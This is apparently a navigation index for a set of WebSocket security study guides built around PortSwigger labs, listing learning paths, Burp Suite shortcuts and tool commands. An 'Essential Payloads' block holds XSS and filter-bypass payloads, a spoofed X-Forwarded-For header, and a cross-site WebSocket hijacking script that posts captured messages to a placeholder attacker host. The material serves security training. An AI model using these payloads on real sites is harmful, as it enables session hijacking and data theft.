# WebSockets Security - Quick Navigation Index

**Fast access to all WebSocket security resources**

---

## Core Documentation

### 📘 [websockets-portswigger-labs-complete.md](./websockets-portswigger-labs-complete.md)
**Complete lab solutions with detailed exploitation techniques**

**What's Inside:**
- Introduction to WebSockets (protocol overview, how they work)
- Lab 1: Manipulating WebSocket Messages (15-20 min)
- Lab 2: Manipulating WebSocket Handshake (20-30 min)
- Lab 3: Cross-Site WebSocket Hijacking (25-35 min)
- Attack Techniques (7 major attack categories)
- Burp Suite Workflows (complete tool mastery)
- Real-World CVEs (critical vulnerabilities)
- Tools & Automation (8+ tools with examples)
- Defense & Prevention (10 security controls)

**When to Use:**
- Learning WebSocket security fundamentals
- Solving PortSwigger labs step-by-step
- Understanding CSWSH attacks in depth
- Implementing secure WebSocket applications

**Key Sections:**
- [Introduction to WebSockets](#) - Protocol basics
- [Lab Solutions](#) - Step-by-step walkthroughs
- [Attack Techniques](#) - 7 exploitation methods
- [Burp Suite Workflows](#) - Tool mastery
- [Real-World CVEs](#) - CVE-2024-55591, CVE-2018-1270
- [Tools & Automation](#) - Burp, ZAP, wscat, Python
- [Defense & Prevention](#) - Secure implementation

---

### ⚡ [websockets-quickstart.md](./websockets-quickstart.md)
**Rapid lab completion guide - 60-90 minutes total**

**What's Inside:**
- Prerequisites and setup (5 min)
- Lab 1: Quick solution (15-20 min)
- Lab 2: Quick solution (20-30 min)
- Lab 3: Quick solution (25-35 min)
- Burp Suite quick reference
- Essential payloads cheat sheet
- Testing methodology checklist
- Troubleshooting guide

**When to Use:**
- Need to complete labs quickly
- Want rapid exploitation techniques
- Looking for time-saving tips
- Troubleshooting common issues

**Key Sections:**
- [Lab 1 Rapid Solution](#) - 5 steps in 15 min
- [Lab 2 Rapid Solution](#) - IP spoof + XSS bypass
- [Lab 3 Rapid Solution](#) - CSWSH in 9 steps
- [Burp Suite Reference](#) - Essential shortcuts
- [Quick Payloads](#) - Copy-paste ready
- [Troubleshooting](#) - Common issues solved

---

### 📋 [websockets-cheat-sheet.md](./websockets-cheat-sheet.md)
**Quick reference for active penetration testing**

**What's Inside:**
- Basic concepts and protocol overview
- Handshake headers (client & server)
- Attack payloads (100+ payloads organized by type)
- Burp Suite commands and shortcuts
- Tools & commands (wscat, websocat, Python)
- Exploitation scripts (ready to use)
- Detection & identification techniques
- Common vulnerabilities checklist
- Defense checklist

**When to Use:**
- During active penetration testing
- Need quick payload reference
- Looking up tool commands
- Checking vulnerability indicators

**Key Sections:**
- [Attack Payloads](#) - XSS, SQLi, Command Injection, XXE
- [Burp Suite Commands](#) - All features explained
- [Tools & Commands](#) - wscat, websocat, Python
- [Exploitation Scripts](#) - Copy-paste automation
- [Vulnerability Checklist](#) - Quick assessment
- [Defense Checklist](#) - Secure implementation

---

### 📚 [websockets-resources.md](./websockets-resources.md)
**Comprehensive learning and reference materials**

**What's Inside:**
- Official standards (RFC 6455, W3C)
- OWASP resources (cheat sheets, testing guide)
- Industry standards (NIST, PCI DSS, ISO 27001)
- CVE database (real-world vulnerabilities)
- Tools & frameworks (complete list)
- Research papers (academic and industry)
- Training platforms (labs and courses)
- Bug bounty programs (WebSocket scope)
- Vulnerable applications (practice targets)
- Community & forums (where to get help)

**When to Use:**
- Deep dive into WebSocket security
- Finding training resources
- Looking for bug bounty opportunities
- Researching CVEs and exploits
- Setting up practice environment

**Key Sections:**
- [Official Standards](#) - RFC 6455, W3C specs
- [OWASP Resources](#) - Security guides
- [CVE Database](#) - Real vulnerabilities
- [Tools & Frameworks](#) - Complete toolset
- [Training Platforms](#) - Learn and practice
- [Bug Bounty Programs](#) - Get paid for findings

---

## Quick Access by Topic

### 🎯 I want to...

#### Learn WebSocket Security Basics
1. Start: [websockets-portswigger-labs-complete.md - Introduction](./websockets-portswigger-labs-complete.md#introduction-to-websockets)
2. Then: [websockets-quickstart.md - Prerequisites](./websockets-quickstart.md#prerequisites)
3. Practice: Complete Lab 1 (Message Manipulation)

#### Complete Labs Quickly
1. Setup: [websockets-quickstart.md - Prerequisites](./websockets-quickstart.md#prerequisites)
2. Lab 1: [Quick solution in 15 minutes](./websockets-quickstart.md#lab-1-manipulating-websocket-messages)
3. Lab 2: [Quick solution in 20 minutes](./websockets-quickstart.md#lab-2-manipulating-websocket-handshake)
4. Lab 3: [Quick solution in 25 minutes](./websockets-quickstart.md#lab-3-cross-site-websocket-hijacking)

#### Test WebSockets in Real Engagement
1. Identify: [websockets-cheat-sheet.md - Detection](./websockets-cheat-sheet.md#detection--identification)
2. Test: [websockets-cheat-sheet.md - Attack Payloads](./websockets-cheat-sheet.md#attack-payloads)
3. Report: [websockets-portswigger-labs-complete.md - CVEs](./websockets-portswigger-labs-complete.md#real-world-cves)

#### Exploit CSWSH Vulnerability
1. Understand: [websockets-portswigger-labs-complete.md - Lab 3](./websockets-portswigger-labs-complete.md#lab-3-cross-site-websocket-hijacking)
2. Quick: [websockets-quickstart.md - Lab 3 Rapid](./websockets-quickstart.md#lab-3-cross-site-websocket-hijacking)
3. Payload: [websockets-cheat-sheet.md - CSWSH Template](./websockets-cheat-sheet.md#exploitation-scripts)

#### Use Burp Suite for WebSockets
1. Setup: [websockets-portswigger-labs-complete.md - Burp Workflows](./websockets-portswigger-labs-complete.md#burp-suite-workflows)
2. Quick Ref: [websockets-quickstart.md - Burp Reference](./websockets-quickstart.md#quick-reference-burp-suite-websocket-features)
3. Commands: [websockets-cheat-sheet.md - Burp Commands](./websockets-cheat-sheet.md#burp-suite-commands)

#### Automate Testing with Scripts
1. Python: [websockets-cheat-sheet.md - Python Scripts](./websockets-cheat-sheet.md#python-websocket-testing)
2. Bash: [websockets-cheat-sheet.md - Bash Scripts](./websockets-cheat-sheet.md#bash-fuzzing-script)
3. Tools: [websockets-portswigger-labs-complete.md - Tools](./websockets-portswigger-labs-complete.md#tools--automation)

#### Implement Secure WebSockets
1. Best Practices: [websockets-portswigger-labs-complete.md - Defense](./websockets-portswigger-labs-complete.md#defense--prevention)
2. Checklist: [websockets-cheat-sheet.md - Defense Checklist](./websockets-cheat-sheet.md#defense-checklist)
3. Standards: [websockets-resources.md - OWASP](./websockets-resources.md#owasp-resources)

#### Research Real-World Exploits
1. CVEs: [websockets-portswigger-labs-complete.md - Real-World CVEs](./websockets-portswigger-labs-complete.md#real-world-cves)
2. Full List: [websockets-resources.md - CVE Database](./websockets-resources.md#cve-database--advisories)
3. Case Studies: Read Gitpod CSWSH, CVE-2024-55591, CVE-2018-1270

#### Find Training Resources
1. Labs: [websockets-resources.md - Training Platforms](./websockets-resources.md#training-platforms)
2. Bug Bounty: [websockets-resources.md - Bug Bounty Programs](./websockets-resources.md#bug-bounty-programs)
3. Tools: [websockets-resources.md - Tools & Frameworks](./websockets-resources.md#tools--frameworks)

---

## Quick Reference Cards

### Lab Completion Times
| Lab | Difficulty | Time (First) | Time (Expert) |
|-----|-----------|--------------|---------------|
| Lab 1: Message Manipulation | Apprentice | 15-20 min | 5 min |
| Lab 2: Handshake Exploitation | Practitioner | 20-30 min | 10 min |
| Lab 3: CSWSH | Practitioner | 25-35 min | 15 min |
| **Total** | - | **60-85 min** | **30 min** |

### Essential Payloads
```html
<!-- Lab 1: Basic XSS -->
{"message":"<img src=1 onerror='alert(1)'>"}

<!-- Lab 2: Obfuscated XSS -->
{"message":"<img src=1 oNeRrOr=alert`1`>"}

<!-- Lab 2: IP Spoofing Header -->
X-Forwarded-For: 1.1.1.1

<!-- Lab 3: CSWSH Exploit -->
<script>
var ws = new WebSocket('wss://TARGET/chat');
ws.onopen = () => ws.send("READY");
ws.onmessage = (e) => fetch('https://ATTACKER', {method:'POST', body:e.data});
</script>
```

### Burp Suite Quick Actions
| Action | Location | Shortcut |
|--------|----------|----------|
| WebSocket History | Proxy → WebSockets history | - |
| Send to Repeater | Right-click message | Ctrl+R |
| Edit Handshake | Repeater → Pencil icon | - |
| Burp Collaborator | Burp menu → Collaborator | - |
| Enable Interception | Proxy → Options → WebSocket Rules | - |

### Tool Commands
```bash
# wscat - Connect
wscat -c wss://target.com/chat

# wscat - With headers
wscat -c wss://target.com/chat -H "Cookie: session=abc"

# Python - Basic test
python3 -c "import asyncio, websockets; asyncio.run(websockets.connect('wss://target.com/chat'))"

# websocat - Advanced
websocat wss://target.com/chat --header="Cookie: session=abc"
```

---

## Document Statistics

| File | Lines | Topics | Use Case |
|------|-------|--------|----------|
| **websockets-portswigger-labs-complete.md** | 4,500+ | 10 major sections | Complete learning & reference |
| **websockets-quickstart.md** | 1,200+ | 9 rapid guides | Fast lab completion |
| **websockets-cheat-sheet.md** | 1,800+ | 9 reference sections | Active testing reference |
| **websockets-resources.md** | 1,500+ | 10 resource categories | Deep learning & research |
| **Total** | **9,000+** | **38 sections** | **Complete mastery** |

---

## Learning Paths

### Beginner Path (4-6 hours)
1. Read: [Introduction to WebSockets](./websockets-portswigger-labs-complete.md#introduction-to-websockets) (30 min)
2. Lab 1: [Message Manipulation - Detailed](./websockets-portswigger-labs-complete.md#lab-1) (45 min)
3. Lab 2: [Handshake Exploitation - Detailed](./websockets-portswigger-labs-complete.md#lab-2) (60 min)
4. Lab 3: [CSWSH - Detailed](./websockets-portswigger-labs-complete.md#lab-3) (90 min)
5. Review: [Attack Techniques](./websockets-portswigger-labs-complete.md#attack-techniques) (60 min)

### Intermediate Path (2-3 hours)
1. Quick review: [WebSocket basics](./websockets-quickstart.md#prerequisites) (10 min)
2. Lab 1: [Rapid solution](./websockets-quickstart.md#lab-1) (15 min)
3. Lab 2: [Rapid solution](./websockets-quickstart.md#lab-2) (20 min)
4. Lab 3: [Rapid solution](./websockets-quickstart.md#lab-3) (25 min)
5. Study: [Burp Suite workflows](./websockets-portswigger-labs-complete.md#burp-suite-workflows) (45 min)
6. Practice: [Automation scripts](./websockets-cheat-sheet.md#exploitation-scripts) (30 min)

### Expert Path (1-2 hours)
1. Labs: [Complete all 3 labs](./websockets-quickstart.md) (45 min)
2. Review: [Real-world CVEs](./websockets-portswigger-labs-complete.md#real-world-cves) (20 min)
3. Study: [Advanced techniques](./websockets-portswigger-labs-complete.md#attack-techniques) (30 min)
4. Apply: Test on bug bounty program (ongoing)

### Real-World Testing Path (30 min preparation)
1. Recon: [Detection & Identification](./websockets-cheat-sheet.md#detection--identification) (5 min)
2. Payloads: [Attack Payloads section](./websockets-cheat-sheet.md#attack-payloads) (10 min)
3. Tools: [Tools & Commands](./websockets-cheat-sheet.md#tools--commands) (10 min)
4. Testing: [Vulnerability Checklist](./websockets-cheat-sheet.md#common-vulnerabilities) (5 min)
5. Execute: Perform actual testing (varies)

---

## Version Information

- **Document Version:** 1.0
- **Last Updated:** January 2026
- **Total Content:** 9,000+ lines across 4 comprehensive documents
- **Lab Coverage:** All 3 PortSwigger WebSocket labs
- **CVE Coverage:** 4 critical real-world vulnerabilities
- **Tools Covered:** 8+ security testing tools
- **Attack Techniques:** 7 major exploitation categories

---

## Support & Updates

**Questions or Issues?**
- Check [Troubleshooting Guide](./websockets-quickstart.md#troubleshooting-guide)
- Review [Common Mistakes](./websockets-portswigger-labs-complete.md) sections
- Consult [Community Resources](./websockets-resources.md#community--forums)

**Stay Updated:**
- Monitor [PortSwigger Blog](https://portswigger.net/research) for new labs
- Follow [CVE Database](./websockets-resources.md#cve-database--advisories) for new vulnerabilities
- Join [Security Communities](./websockets-resources.md#community--forums) for discussions

---

**Quick Start:** If you're new, start with [websockets-quickstart.md](./websockets-quickstart.md) and complete all 3 labs in 60-90 minutes!

**Deep Dive:** For comprehensive understanding, read [websockets-portswigger-labs-complete.md](./websockets-portswigger-labs-complete.md) from start to finish.

**Active Testing:** Keep [websockets-cheat-sheet.md](./websockets-cheat-sheet.md) open during penetration tests for quick payload reference.

**Continuous Learning:** Bookmark [websockets-resources.md](./websockets-resources.md) for ongoing skill development and research.
